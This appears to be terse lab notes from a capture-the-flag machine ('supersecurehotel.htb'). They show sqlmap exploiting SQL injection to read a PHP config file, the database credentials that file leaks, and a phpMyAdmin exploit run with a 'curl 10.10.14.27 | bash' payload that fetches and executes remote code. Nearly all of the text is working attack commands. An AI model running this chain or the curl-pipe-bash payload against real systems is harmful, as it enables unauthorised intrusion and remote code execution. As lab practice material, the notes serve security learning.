vulnerable to sqli
http://supersecurehotel.htb/room.php?cod=1

sqlmap -u http://supersecurehotel.htb/room.php\?cod\=1 --batch
Copy

sqlmap -u http://supersecurehotel.htb/room.php\?cod\=1 --batch --file-read=/var/www/html/connection.php

Copy

➜  files cat _var_www_html_connection.php 
<?php
$connection=new mysqli('127.0.0.1','DBadmin','imissyou','hotel');
?>
Copy

got access through web /phpmyadmin

vulnerable
https://www.exploit-db.com/exploits/50457

simpler.py

python3 exploit.py 10.10.10.143 80 /phpmyadmin DBadmin imissyou 'curl 10.10.14.27 | bash'

Copy